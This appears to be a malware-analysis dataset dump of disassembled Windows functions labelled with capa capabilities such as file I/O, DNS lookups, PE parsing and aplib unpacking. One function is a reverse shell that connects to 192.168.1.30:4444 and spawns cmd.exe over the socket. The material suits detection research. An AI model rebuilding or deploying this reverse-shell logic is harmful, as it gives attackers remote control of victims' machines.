joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140234da0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov rsi, rcx
mov rax, qword [rbp + 0x70]
mov qword [rbp - 8], r9
lea rcx, [rbp]
mov qword [rbp], rax
movups xmm0, xmmword [0x14039c1b0]
movaps xmmword [rbp + 0x10], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
xor r8d, r8d
test r9b, 1
cmove rcx, r8
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x140234e2f
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rbp + 0x10]
cmp eax, 0xc0000011
jne 0x140234e3c
xor edx, edx
xor eax, eax
jmp 0x140234e66
cmp eax, 0x103
je 0x140234e70
test eax, eax
js 0x140234e4f
mov rdx, qword [rbp + 0x18]
xor eax, eax
jmp 0x140234e66
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xb8
pop rsi
pop rbp
ret
mov dword [rbp + 0x28], 0
mov byte [rbp + 0x2c], 0
lea rax, [0x14039c218]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x30]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x28]
lea rdx, [rbp - 0x38]
call fcn.14022e8f0
mov qword [rbp + 8], rax
lea rcx, [rbp + 8]
call fcn.1402299c0
mov ecx, 7
int 0x29
ud2

Function at 0x140234ec0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov rsi, rcx
mov rax, qword [rbp + 0x70]
mov qword [rbp - 8], r9
lea rcx, [rbp]
mov qword [rbp], rax
movups xmm0, xmmword [0x14039c1b0]
movaps xmmword [rbp + 0x10], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
xor r8d, r8d
test r9b, 1
cmove rcx, r8
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x140234f56
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rbp + 0x10]
cmp eax, 0x103
je 0x140234f83
test eax, eax
js 0x140234f62
mov rdx, qword [rbp + 0x18]
xor eax, eax
jmp 0x140234f79
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xb8
pop rsi
pop rbp
ret
mov dword [rbp + 0x28], 0
mov byte [rbp + 0x2c], 0
lea rax, [0x14039c218]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x30]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x28]
lea rdx, [rbp - 0x38]
call fcn.14022e8f0
mov qword [rbp + 8], rax
lea rcx, [rbp + 8]
call fcn.1402299c0
mov ecx, 7
int 0x29
ud2
Function at 0x140234fe0
Capabilities:
Create udp socket

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov edi, edx
cmp byte [rcx], 0
mov eax, 0x17
mov r14d, 2
cmovne r14d, eax
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
xor ebx, ebx
mov ecx, r14d
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSASocketW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1402350c0
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x2739
je 0x140235047
mov esi, eax
cmp eax, 0x2726
jne 0x1402350b3
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov ecx, r14d
mov edx, edi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x1402350ab
mov rsi, rax
xor ebx, ebx
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.kernel32.dll_SetHandleInformation]
test eax, eax
jne 0x1402350c0
call qword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
shl rdi, 0x20
or rdi, 2
mov rcx, rsi
call qword [sym.imp.ws2_32.dll_closesocket]
mov ebx, 1
mov rsi, rdi
jmp 0x1402350c0
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov ebx, 1
mov rax, rbx
mov rdx, rsi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret

Function at 0x140235a50
Capabilities:
Create thread

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdi, r8
mov r14, rdx
mov rsi, rcx
movzx eax, byte [0x1403af381]
mov ecx, 0x10
mov edx, 8
add al, ch
or ch, dl
invalid
fdivp st(7)

Function at 0x140237c20
Capabilities:
Resolve dns

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x208
lea rbp, [rsp + 0x80]
mov rax, rdx
mov rsi, rcx
mov rdx, qword [rdx]
mov rdi, qword [rax + 8]
movzx eax, word [rax + 0x10]
mov word [rbp + 0x186], ax
mov eax, dword [0x1403af498]
cmp eax, 3
jne 0x140237d4f
lea rax, [rbp + 0x186]
mov qword [rbp + 0x170], rax
cmp rdi, 0x17f
ja 0x140237d75
lea rbx, [rbp - 0x60]
mov rcx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi - 0x60], 0
inc rdi
lea rcx, [rbp + 0x158]
mov rdx, rbx
mov r8, rdi
call fcn.1402450a0
test byte [rbp + 0x158], 1
je 0x140237cbe
lea rax, [0x14039b830]
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x140237d40
mov rcx, qword [rbp + 0x160]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x120], xmm0
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x130], xmm0
mov dword [rbp + 0x128], 1
mov qword [rbp + 0x178], 0
lea r8, [rbp + 0x120]
lea r9, [rbp + 0x178]
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x140237d21
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov ecx, 1
jmp 0x140237d39
mov rax, qword [rbp + 0x178]
movzx ecx, word [rbp + 0x186]
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
xor ecx, ecx
mov qword [rsi + 8], rax
mov qword [rsi], rcx
mov rax, rsi
add rsp, 0x208
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rbx, rdx
call fcn.14025c03a
mov rdx, rbx
lea rax, [rbp + 0x186]
mov qword [rbp + 0x170], rax
cmp rdi, 0x17f
jbe 0x140237c75
lea r9, [rbp + 0x170]
mov rcx, rsi
mov r8, rdi
call fcn.14025c0f0
jmp 0x140237d40
Function at 0x140237ec0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbp
push rsi
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov rax, rdx
mov rsi, rcx
xorps xmm0, xmm0
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp], xmm0
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x50], xmm0
movaps xmmword [rbp - 0x60], xmm0
mov dword [rbp + 0x34], 0x80
lea rdx, [rbp - 0x60]
lea r8, [rbp + 0x34]
mov rcx, rax
call qword [sym.imp.ws2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x140237f4a
mov eax, dword [rbp + 0x34]
movzx ecx, word [rbp - 0x60]
cmp ecx, 0x17
je 0x140237f5a
cmp ecx, 2
jne 0x140237f98
cmp eax, 0xf
jbe 0x140237fb2
movzx eax, word [rbp - 0x5e]
rol ax, 8
mov ecx, dword [rbp - 0x5c]
mov word [rsi], 0
mov word [rsi + 6], ax
mov dword [rsi + 2], ecx
jmp 0x140237fa8
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
jmp 0x140237f9f
cmp eax, 0x1b
jbe 0x140237fca
movzx eax, word [rbp - 0x5e]
rol ax, 8
mov ecx, dword [rbp - 0x5c]
mov edx, dword [rbp - 0x48]
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rbp + 0x24], xmm0
mov word [rsi], 1
movups xmm0, xmmword [rbp + 0x22]
movups xmmword [rsi + 2], xmm0
movzx r8d, word [rbp + 0x32]
mov word [rsi + 0x12], r8w
mov dword [rsi + 0x14], ecx
mov dword [rsi + 0x18], edx
mov word [rsi + 0x1c], ax
jmp 0x140237fa8
lea rax, str.invalid_argument_
mov qword [rsi + 8], rax
mov word [rsi], 2
add rsp, 0xb8
pop rsi
pop rbp
ret
lea rcx, str.assertion_failed:_len___mem::size_of::_c::sockaddr_in___std_src_sys_common_net.rs
lea r8, [0x14039caf0]
mov edx, 0x39
call fcn.14025d3f0
lea rcx, str.assertion_failed:_len___mem::size_of::_c::sockaddr_in6___
lea r8, [0x14039cb48]
mov edx, 0x3a
call fcn.14025d3f0
int3
Function at 0x1402503d4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14025041e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14025041e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14025041e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14025041e
cmp dword [rcx + 0x84], 0xe
jbe 0x14025041e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140250420
xor al, al
add rsp, 0x28
ret
Function at 0x140255090
Capabilities:
Access peb ldr_data

Disassembly:
push rsi
sub rsp, 0x100
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x2f]
lea rsi, [rsp + 0x30]
mov r8d, 0x20
mov rdx, rsi
call fcn.14011f180
test rax, rax
jne 0x1402552c6
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x90]
lea r8, [0x1402ef8f8]
lea rdx, [rsp + 0x50]
mov r9d, 8
call fcn.14011ef80
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmm2, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x70], xmm2
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0xd0], xmm0
movups xmmword [rsp + 0xe0], xmm1
movups xmmword [rsp + 0xf0], xmm2
movzx eax, byte [0x1403af381]
mov ecx, 0x170
mov edx, 0x10
call fcn.140024490
test rax, rax
je 0x140255335
mov qword [rax], 1
mov qword [rax + 8], 1
xorps xmm0, xmm0
movaps xmmword [rax + 0x10], xmm0
movaps xmmword [rax + 0x20], xmm0
movaps xmmword [rax + 0x30], xmm0
movaps xmmword [rax + 0x40], xmm0
movaps xmmword [rax + 0x50], xmm0
movaps xmmword [rax + 0x60], xmm0
movaps xmmword [rax + 0x70], xmm0
movaps xmmword [rax + 0x80], xmm0
movaps xmmword [rax + 0x90], xmm0
movaps xmmword [rax + 0xa0], xmm0
movaps xmmword [rax + 0xb0], xmm0
movaps xmmword [rax + 0xc0], xmm0
movaps xmmword [rax + 0xd0], xmm0
movaps xmmword [rax + 0xe0], xmm0
movaps xmmword [rax + 0xf0], xmm0
movaps xmmword [rax + 0x100], xmm0
mov qword [rax + 0x110], 0x40
movups xmm0, xmmword [rsp + 0xc8]
movups xmm1, xmmword [rsp + 0xd8]
movups xmm2, xmmword [rsp + 0xe8]
movups xmmword [rax + 0x118], xmm0
movups xmmword [rax + 0x128], xmm1
movups xmmword [rax + 0x138], xmm2
mov rcx, qword [rsp + 0xf8]
mov qword [rax + 0x148], rcx
mov qword [rax + 0x150], 0x10000
mov qword [rax + 0x158], 0x10000
mov qword [rax + 0x160], 0
mov ecx, dword [0x1403af520]
mov rdx, qword gs:[0x58]
mov r8, qword [rdx + rcx*8]
mov rdx, qword [r8 + 0x18]
mov rcx, qword [r8 + 0x20]
mov qword [r8 + 0x18], 1
mov qword [r8 + 0x20], rax
cmp rdx, 1
je 0x140255298
test rdx, rdx
jne 0x14025529d
mov eax, dword [0x1403af520]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0x18]
lea rdx, [0x14011c9b0]
add rsp, 0x100
pop rsi
jmp fcn.140237930
dec qword [rcx]
je 0x1402552a6
add rsp, 0x100
pop rsi
ret
dec qword [rcx + 8]
jne 0x14025529d
mov edx, 0x170
mov r8d, 0x10
call fcn.1400244a0
nop
add rsp, 0x100
pop rsi
ret
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x50], rsi
lea rax, [0x14011f120]
mov qword [rsp + 0x58], rax
lea rax, str.could_not_initialize_thread_rng:
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rdx, str.C:UsersDamon.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rand_0.8.5_src_rngs_thread.rs
lea rcx, [rsp + 0x80]
call fcn.14025d350
mov ecx, 0x10
mov edx, 0x170
call fcn.14025cfff
int3
Function at 0x14025c0f0
Capabilities:
Resolve dns

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov r14, r9
mov rsi, rcx
lea rcx, [rbp - 0x28]
call fcn.14023f7c0
mov rdx, qword [rbp - 0x28]
mov rax, rdx
neg rax
jno 0x14025c172
mov rdi, qword [rbp - 0x20]
mov rbx, qword [rbp - 0x18]
xorps xmm0, xmm0
movaps xmmword [rbp - 0x60], xmm0
movaps xmmword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x58], 1
mov qword [rbp - 8], 0
lea r8, [rbp - 0x60]
lea r9, [rbp - 8]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x14025c1a2
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov ecx, 1
jmp 0x14025c1b6
lea rax, [0x14039b830]
mov qword [rsi + 8], rax
mov qword [rsi], 1
jae 0x14025c1d6
mov rcx, qword [rbp - 0x20]
mov r8d, 1
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp fcn.1400244a0
mov rcx, qword [r14]
mov rax, qword [rbp - 8]
movzx ecx, word [rcx]
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
xor ecx, ecx
mov qword [rsi + 8], rax
mov qword [rsi], rcx
mov byte [rdi], 0
test rbx, rbx
je 0x14025c1d6
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.1400244a0
nop
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
Function at 0x140b49058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140b491df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140b49089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140b4906f
add dl, dl
jne 0x140b49096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140b490f6
xor eax, eax
add dl, dl
jne 0x140b490a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140b491ad
add dl, dl
jne 0x140b490b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b490c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b490d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b490dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140b490ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140b4907e
mov eax, 1
add dl, dl
jne 0x140b49106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140b49113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140b490fb
sub eax, ebx
mov ebx, 1
jne 0x140b4914c
mov ecx, 1
add dl, dl
jne 0x140b4912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140b4913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140b49123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140b4907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140b49168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140b49175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140b4915d
cmp eax, 0x7d00
jae 0x140b4919b
cmp eax, 0x500
jb 0x140b49196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140b4907e
cmp eax, 0x7f
ja 0x140b4919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140b4907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140b491d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140b4907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180390058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1803901df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180390089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18039006f
add dl, dl
jne 0x180390096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1803900f6
xor eax, eax
add dl, dl
jne 0x1803900a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1803901ad
add dl, dl
jne 0x1803900b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1803900c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1803900d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1803900dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1803900ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18039007e
mov eax, 1
add dl, dl
jne 0x180390106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180390113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1803900fb
sub eax, ebx
mov ebx, 1
jne 0x18039014c
mov ecx, 1
add dl, dl
jne 0x18039012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18039013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180390123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18039007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180390168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180390175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18039015d
cmp eax, 0x7d00
jae 0x18039019b
cmp eax, 0x500
jb 0x180390196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18039007e
cmp eax, 0x7f
ja 0x18039019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18039007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1803901d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18039007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140478058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1404781df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140478089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14047806f
add dl, dl
jne 0x140478096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1404780f6
xor eax, eax
add dl, dl
jne 0x1404780a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1404781ad
add dl, dl
jne 0x1404780b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1404780c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1404780d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1404780dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1404780ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14047807e
mov eax, 1
add dl, dl
jne 0x140478106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140478113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1404780fb
sub eax, ebx
mov ebx, 1
jne 0x14047814c
mov ecx, 1
add dl, dl
jne 0x14047812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14047813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140478123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14047807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140478168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140478175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14047815d
cmp eax, 0x7d00
jae 0x14047819b
cmp eax, 0x500
jb 0x140478196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14047807e
cmp eax, 0x7f
ja 0x14047819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14047807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1404781d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14047807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400111f9
Capabilities:
Terminate process

Disassembly:
jmp 0x140012ef0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011276
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Terminate process

Disassembly:
jmp 0x1400117f0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1f8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x1400230a8]
call fcn.140011389
nop
lea rax, str.192.168.1.30
mov qword [rbp + 8], rax
mov eax, 0x115c
mov word [rbp + 0x24], ax
lea rdx, [0x14001d1b0]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
nop
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x14001d348], rax
mov eax, 2
mov word [0x14001d350], ax
movzx ecx, word [rbp + 0x24]
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x14001d352], ax
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x14001d354], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x10
lea rdx, [0x14001d350]
mov rcx, qword [0x14001d348]
call qword [sym.imp.WS2_32.dll_WSAConnect]
nop
mov r8d, 0x68
xor edx, edx
lea rcx, [0x14001d360]
call fcn.1400112d0
nop
mov dword [0x14001d360], 0x68
mov dword [0x14001d39c], 0x100
mov rax, qword [0x14001d348]
mov qword [0x14001d3c0], rax
mov rax, qword [0x14001d3c0]
mov qword [0x14001d3b8], rax
mov rax, qword [0x14001d3b8]
mov qword [0x14001d3b0], rax
mov rax, qword [str.cmd.exe]
mov qword [rbp + 0x48], rax
lea rcx, [rbp + 0x48]
call fcn.140011177
inc rax
mov r8, rax
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x68]
call qword [sym.imp.ucrtbased.dll_mbstowcs]
nop
lea rax, [rbp + 0x68]
mov qword [rbp + 0xa8], rax
lea rax, [0x14001d3c8]
mov qword [rsp + 0x48], rax
lea rax, [0x14001d360]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0xa8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
nop
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ac40]
call fcn.14001131b
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x140011280
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014240
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014260
xor al, al
jmp 0x1400142e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014273
xor al, al
jmp 0x1400142e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001429d
xor al, al
jmp 0x1400142e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
